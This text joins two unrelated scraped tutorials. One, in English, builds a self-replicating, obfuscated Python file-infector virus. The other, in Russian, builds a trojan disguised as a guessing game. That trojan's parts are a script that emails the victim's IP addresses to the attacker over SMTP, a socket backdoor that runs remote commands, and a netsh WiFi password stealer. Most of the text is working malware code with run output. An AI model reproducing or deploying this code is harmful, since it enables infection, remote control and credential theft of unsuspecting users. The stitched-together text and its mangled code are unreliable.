# call the payload
summon_chaos()
# except:
# pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
# end-virus
Let’s try it putting this virus in a directory with just another .py
file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py)
that returns some random numbers, like this:
# numbers.py
import random
random.seed()
for _ in range(10):
print (random.randint(0,100))
When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!
Now, in the same directory, I have my virus. Let’s execute it:
/playgrounds/python/first ❯ python ./first.py 02:30:42 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py)
file? It should be the victim of the infection, so let’s see its code now.
# begin-virus
import glob
def find_files_to_infect(directory = "."):
return [file for file in glob.glob("*.py")]
def get_content_of_file(file):
data = None
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_content_if_infectable(file):
data = get_content_of_file(file)
for line in data:
if "# begin-virus" in line:
return None
return data
def infect(file, virus_code):
if (data:=get_content_if_infectable(file)):
with open(file, "w") as infected_file:
infected_file.write("".join(virus_code))
infected_file.writelines(data)
def get_virus_code():
virus_code_on = False
virus_code = []
code = get_content_of_file(__file__)
for line in code:
if "# begin-virusn" in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line)
if "# end-virusn" in line:
virus_code_on = False
break
return virus_code
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
# except:
# pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
# end-virus
# numbers.py
import random
random.seed()
for _ in range(10):
print (random.randint(0,100))
And as expected, now we have our virus before the real code.
Let’s create another .py
file in the same directory, just a simple “hello world” program:
/playgrounds/python/first ❯ echo 'print("hello world")' > hello.py
and now, let’s execute the [numbers.py](http://numbers.py)
program:
/playgrounds/python/first ❯ python numbers.py 02:35:12 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
35
43
89
37
92
71
4
21
83
47
As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py
files in the same directory and has executed the payload function. Now, if you look at the [hello.py](http://hello.py)
file, you will see that it has been infected as well, as we can see running it:
/playgrounds/python/first ❯ python hello.py 02:40:01 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
hello world
Trying to hide the virus code a little more
Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus
, right?
So what can we do to make it a little harder to find?
Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.
For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?
Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0
and end with something like # end-78ea1850f48d1c1802f388db81698fd0
and that would be different for any infected file, making it more difficult to find all the infected files on the system.
So our get_content_if_infectable()
function could be modified like this:
def get_content_if_infectable(file, hash):
# return the content of a file only if it hasn't been infected yet
data = get_content_of_file(file)
for line in data:
if hash in line:
return None
return data
Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:
hash = hashlib.md5(file.encode("utf-8")).hexdigest()
and also the get_virus_code()
function should be modified to look for the current script hash:
def get_virus_code():
# open the current file and returns the virus code, that is the code between the
# begin-{hash} and the end-{hash} tags
virus_code_on = False
virus_code = []
virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
code = get_content_of_file(__file__)
for line in code:
if "# begin-" + virus_hash in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line + "n")
if "# end-" + virus_hash in line:
virus_code_on = False
break
return virus_code
And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?
Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib
library and converting it in base64
format. We could just pass our plain text virus to a new transform_and_obscure_virus_code()
function like this:
def obscure(data: bytes) -> bytes:
# obscure a stream of bytes compressing it and encoding it in base64
return base64.urlsafe_b64encode(zlib.compress(data, 9))
def transform_and_obscure_virus_code(virus_code):
# transforms the virus code adding some randomic contents, compressing it and converting it in base64
new_virus_code = []
for line in virus_code:
new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
new_virus_code.append(line + "n")
obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
return obscured_virus_code
Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect
method, by using the exec statement like this:
def infect(file, virus_code):
# infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
hash = hashlib.md5(file.encode("utf-8")).hexdigest()
if (data:=get_content_if_infectable(file, hash)):
obscured_virus_code = transform_and_obscure_virus_code(virus_code)
viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"
with open(file, "w") as infected_file:
infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
infected_file.writelines(data)
The complete source code of our new virus could be similar to this:
# ################
# chaos.py
# a Python virus
# ###############
# begin-78ea1850f48d1c1802f388db81698fd0
import base64
import glob
import hashlib
import inspect
import os
import random
import zlib
def get_content_of_file(file):
data = None
# return the content of a file
with open(file, "r") as my_file:
data = my_file.readlines()
return data
def get_content_if_infectable(file, hash):
# return the content of a file only if it hasn't been infected yet
data = get_content_of_file(file)
for line in data:
if hash in line:
return None
return data
def obscure(data: bytes) -> bytes:
# obscure a stream of bytes compressing it and encoding it in base64
return base64.urlsafe_b64encode(zlib.compress(data, 9))
def transform_and_obscure_virus_code(virus_code):
# transforms the virus code adding some randomic contents, compressing it and converting it in base64
new_virus_code = []
for line in virus_code:
new_virus_code.append("# "+ str(random.randrange(1000000))+ "n")
new_virus_code.append(line + "n")
obscured_virus_code = obscure(bytes("".join(new_virus_code), 'utf-8'))
return obscured_virus_code
def find_files_to_infect(directory = "."):
# find other files that can potentially be infected
return [file for file in glob.glob("*.py")]
def summon_chaos():
# the virus payload
print("We are sick, fucked up and complicatednWe are chaos, we can't be cured")
def infect(file, virus_code):
# infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
hash = hashlib.md5(file.encode("utf-8")).hexdigest()
if (data:=get_content_if_infectable(file, hash)):
obscured_virus_code = transform_and_obscure_virus_code(virus_code)
viral_vector = "exec("import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode("+str(obscured_virus_code)+")))")"
with open(file, "w") as infected_file:
infected_file.write("n# begin-"+ hash + "n" + viral_vector + "n# end-" + hash + "n")
infected_file.writelines(data)
def get_virus_code():
# open the current file and returns the virus code, that is the code between the
# begin-{hash} and the end-{hash} tags
virus_code_on = False
virus_code = []
virus_hash = hashlib.md5(os.path.basename(__file__).encode("utf-8")).hexdigest()
code = get_content_of_file(__file__)
for line in code:
if "# begin-" + virus_hash in line:
virus_code_on = True
if virus_code_on:
virus_code.append(line + "n")
if "# end-" + virus_hash in line:
virus_code_on = False
break
return virus_code
# entry point
try:
# retrieve the virus code from the current infected script
virus_code = get_virus_code()
# look for other files to infect
for file in find_files_to_infect():
infect(file, virus_code)
# call the payload
summon_chaos()
except:
pass
finally:
# delete used names from memory
for i in list(globals().keys()):
if(i[0] != '_'):
exec('del {}'.format(i))
del i
# end-78ea1850f48d1c1802f388db81698fd0
Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py)
and [hello.py](http://hello.py)
, and let’s see what happens.
/playgrounds/python/chaos ❯ python chaos.py 03:09:52 PM
We are sick, fucked up and complicated
We are chaos, we can't be cured
Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is [numbers.py](http://numbers.py)
:
# begin-661bb45509227577d3693829a1e1cb33
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))")
# end-661bb45509227577d3693829a1e1cb33
# numbers.py
import random
random.seed()
for _ in range(10):
print (random.randint(0,100))
and this is
# begin-8d35108ffe2ad173a697734a3e9938e1
exec("import zlibnimport base64nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))")
# end-8d35108ffe2ad173a697734a3e9938e1
print("hello world")
Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.
And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import
statement or so…
To sum up
In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server.
Happy coding!
D.
Did you find this article helpful?
Buy me a coffee!
Содержание
- 1 Как написать троян на Python
- 1.1 Определение IP-адреса
- 1.2 Бэкконнект по почте
- 1.3 Создание трояна на Python
- 1.4 Создание WiFi-стилера на Python
- 2 Заключение
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Еще по теме: Как написать вирус на Python
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный данным материалом. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Не забывайте об этом!
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socket from requests import get |
Обе библиотеки не поставляются с Python, поэтому, если они у вас отсутствуют, их нужно установить командой
pip.
pip install socket pip install requests |
Если вы видите ошибку, что у вас отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети hostname = socket.gethostname() # Определяем локальный (внутри сети) IP-адрес local_ip = socket.gethostbyname(hostname) # Определяем глобальный (публичный / в интернете) IP-адрес public_ip = get(‘http://api.ipify.org’).text |
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Я выбрал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Никогда не встречал конструкции типа
print(<wbr />f‘{}<wbr />’)? Буква
f означает форматированные строковые литералы. А по простому — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это вам на JavaScript!).
Финальный код:
import socket from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text print(f‘Хост: {hostname}’) print(f‘Локальный IP: {local_ip}’) print(f‘Публичный IP: {public_ip}’) |
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через
pip <wbr />install):
import smtplib as smtp from getpass import getpass |
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо email = ‘demo@spy-soft.net’ # Пароль от нее (вместо ***) password = ‘***’ # Почта, на которую отправляем письмо dest_email = ‘demo@spy-soft.net’ # Тема письма subject = ‘IP’ # Текст письма email_text = ‘TEXT’ |
Дальше сформируем письмо:
message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) |
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки) server.ehlo(email) # Отправляем hello-пакет на сервер server.login(email, password) # Заходим на почту, с которой будем отправлять письмо server.auth_plain() # Авторизуемся server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение) server.quit() # Отключаемся от сервера |
В строке
server.<wbr />ehlo(<wbr />email) мы используем команду
EHLO. Большинство серверов SMTP поддерживают
ESMTP и
EHLO. Если сервер, к которому вы пытаетесь подключиться, не поддерживает
EHLO, можно использовать
HELO.
Полный код этой части трояна:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import smtplib as smtp import socket from getpass import getpass from requests import get hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get(‘http://api.ipify.org’).text email = ‘demo@spy-soft.net’ password = ‘***’ dest_email = ‘demo@spy-soft.net’ subject = ‘IP’ email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
import random import socket import threading import os |
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# Создаем функцию игры def game(): # Берем случайное число от 0 до 1000 number = random.randint(0, 1000) # Счетчик попыток tries = 1 # Флаг завершения игры done = False # Пока игра не закончена, просим ввести новое число while not done: guess = input(‘Введите число: ‘) # Если ввели число if guess.isdigit(): # Конвертируем его в целое guess = int(guess) # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе if guess == number: done = True print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’) # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше else: tries += 1 if guess > number: print(‘Загаданное число меньше!’) else: print(‘Загаданное число больше!’) # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново else: print(‘Это не число от 0 до 1000!’) |
Зачем столько сложностей с проверкой на число? Можно было просто написать:
guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />) |
Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Создаем функцию трояна def trojan(): # IP-адрес атакуемого HOST = ‘192.168.2.112’ # Порт, по которому мы работаем PORT = 9090 # Создаем эхо-сервер client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((HOST, PORT)) while True: # Вводим команду серверу server_command = client.recv(1024).decode(‘cp866’) # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом if server_command == ‘cmdon’: cmd_mode = True # Отправляем информацию на сервер client.send(‘Получен доступ к терминалу’.encode(‘cp866’)) continue # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом if server_command == ‘cmdoff’: cmd_mode = False # Если запущен режим работы с терминалом, вводим команду в терминал через сервер if cmd_mode: os.popen(server_command) # Если же режим работы с терминалом выключен — можно вводить любые команды else: if server_command == ‘hello’: print(‘Hello World!’) # Если команда дошла до клиента — выслать ответ client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’)) |
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Следующая строка:
client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM) |
создает эхо‑сервер (отправили запрос — получили ответ).
AF_INET означает работу с IPv4-адресацией, а
SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка:
client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />) |
указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция
client.<wbr />recv(<wbr />1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Команда
decode(<wbr />‘cp866’) декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно
cp866? Зайдем в командную строку и введем команду
chcp.
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть
utf—8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после
chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
import subprocess import time |
Модуль
subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) # Создаем список всех названий всех профилей сети (имена сетей) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] # Для каждого имени… for Wi—Fi in Wi—Fis: # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) # Забираем ключ results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] # Пытаемся его вывести в командной строке, отсекая все ошибки try: print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’) except IndexError: print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’) |
Введя команду в командной строке:
netsh <wbr />wlan <wbr />show <wbr />profiles |
Mы получим следующее.
Если распарсить вывод выше и подставить имя сети в команду:
netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear |
Результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
